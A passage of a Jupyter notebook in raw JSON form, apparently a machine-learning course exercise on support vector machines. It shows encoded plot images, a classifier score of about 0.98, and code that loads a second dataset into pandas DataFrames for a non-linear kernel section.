JJLxuDkEQBHN6enoiRu9bsQQ/D+AIgG/e9Aku5dRRVfWLAL4IAIqiHAew30wA\nlzVmzeuJiQmpK4oEDd0NQoa/Od37cEL3PZzQfQ8vdO/DiQz33cwlw4oI/jaA9yiK8gKACIAPKIry\nPgAbVVX9KpsmEiIhNwiCIAiCIMJOTRGsqmoBwEcq3j5v8LlBRm0iCIIgCIIgCK7IE6pJEARBEARB\nEIIgEUwQBEEQBEGEDhLBBEEQBEEQROggEUwQBEEQBEGEDhLBBEEQBEEQROggEUwQBEEQBEGEDhLB\nBEEQBEEQROggEUwQBEEQBEGEDhLBBEEQBEEQROggEUwQBEEQBEGEDhLBBEEQBEEQROggEUwQBEEQ\nBEGEDhLBBEEQBEEQROggEUwQBEEQBEGEDhLBBEEQBEEQROggEUwQBEEQBEGEDhLBBEEQBEEQROiI\nFItFoRecmJgQe0GCIAiCIAgitPT09ESM3hcuggmCIAiCIAjCa8gdgiAIgiAIgggdJIIJgiAIgiCI\n0EEimCAIgiAIgggdJIIJgiAIgiCI0EEimCAIgiAIgggddSIvpihKFMCTAN4GYBnAh1RVnS47fgTA\n/wCwAuDvVVX9G5HtI/hg4b7/VwB/iNX7/hKA31dVteBFWwl21LrvZZ/7KoCsqqqfFNxEghMW+vwv\nAzgBIAJgDsBvqaq65EVbCXZYuO8PA/gjAHmszvFf9qShBBcURbkHwF+qqvruivel1XaiLcEPAkio\nqnovgE8C+Lx+QFGUegCPA/j3AH4NwO8pinKH4PYRfDC77xsA/E8Av66q6n0ANgO435NWEqypet91\nFEX5MIC7RTeM4I5Zn48A+BsAH1BVtQ/ADwC0e9JKgjW1+vznABwGcB+AP1IUpUlw+whOKIryJwD+\nFkCi4n2ptZ1oEawPeFBVdQzAO8qOHQAwrapqTlVVDcAIgHcJbh/BB7P7vgzgnaqqXr/5ug4AWYSC\ngdl9h6Io7wRwD4CviG8awRmze38ngGsAHlMU5V8ANKuqqopvIsEB0z4P4P9h1dCRwOouABUqCA5J\nAL9h8L7U2k60CL4NwHzZ67yiKHVVjr2B1c5C+J+q911V1YKqqq8CgKIojwLYCOBZ8U0kOFD1viuK\nsh3ApwB81IuGEdwxG+u3AngngC9h1Sp4SFGUfsHtI/hgdt8B4CcAJgD8FMB3VVV9TWTjCH6oqnoK\nwA2DQ1JrO9Ei+HUAm8qvr6rqSpVjmwBQBwkGZvcdiqJEFUX5HID3ADimqipZB4KB2X3/TayKoe9j\nddv0fYqiHBfbPIIjZvf+GlYtQ1Oqqt7AquWw0mJI+JOq911RlF8C8B8B7AWwB0Croii/KbyFhGik\n1naiRfDzAN4LAIqi9GI1CEpnCkCXoijNiqLEsWouHxXcPoIPZvcdWN0OTwB4sMwtgvA/Ve+7qqpf\nVFW152YAxV8A+LqqqoNeNJLgglmfvwhgo6IonTdf/ypWLYOE/zG77/MAFgEsqqqaB5ABQD7BwUdq\nbRcpFsUZ3coiR38Jq/5AHwDwdgAbVVX9alkEYRSrEYQnhTWO4IbZfQdw9ua/H+OWf9gXVFX9tgdN\nJRhSq7+Xfe44gP2UHSI4WBjr+7G6+IkAeEFV1T/wrLEEMyzc948A+CAADas+pP/tpp8oEQAURdkD\n4BuqqvYqivI++EDbCRXBBEEQBEEQBCEDVCyDIAiCIAiCCB0kggmCIAiCIIjQQSKYIAiCIAiCCB0k\nggmCIAiCIIjQQSKYIAiCIAiCCB0kggmCIAiCIIjQQSKYIAiCIAiCCB0kggmCIAiCIIjQ8f8BUA0K\nD4r5NCAAAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0xe58e8761d0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "visualizeBoundryCountor(X, y, clf)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Computing Model Error" ] }, { "cell_type": "code", "execution_count": 90, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "0.98030127462340677" ] }, "execution_count": 90, "metadata": {}, "output_type": "execute_result" } ], "source": [ "clf.score(X, y)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# SVM - Non-Linear Kernel" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Load The Dataset 3" ] }, { "cell_type": "code", "execution_count": 167, "metadata": { "collapsed": false }, "outputs": [], "source": [ "mat = scipy.io.loadmat('ex6data3.mat')\n", "X = mat[\"X\"]\n", "Xval = mat[\"Xval\"]\n", "y = mat[\"y\"].T[0]\n", "yval = mat[\"yval\"].T[0]" ] }, { "cell_type": "code", "execution_count": 168, "metadata": { "collapsed": false }, "outputs": [], "source": [ "X_bias = np.insert(X,0,1,axis=1)\n", "Xval_bias = np.insert(Xval,0,1,axis=1)" ] }, { "cell_type": "code", "execution_count": 169, "metadata": { "collapsed": false }, "outputs": [], "source": [ "X_df = pd.DataFrame(X)\n", "Xval_df = pd.DataFrame(Xval)\n", "\n", "y_df = pd.DataFrame(y)\n", "yval_df = pd.DataFrame(yval)" ] }, { "cell_type": "code", "execution_count": 170, "metadata": { "collapsed": true }, "outputs": [], "source": [ "df = pd.concat([X_df, y_df],axis=1)\n", "df.columns = ['first', 'second', 'out']" ] }, { "cell_type": "code", "execution_count": 171, "metadata": { "collapsed": true }, "outputs": [], "source": [ "dfval = pd.concat([Xval_df, yval_df],axis=1)\n", "dfval.columns = ['first', 'second', 'out']" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Plot The Data" ] }, { "cell_type": "code", "execution_count": 172, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "<seaborn.axisgrid.FacetGrid at 0xe582565cc0>" ] }, "execution_count": 172, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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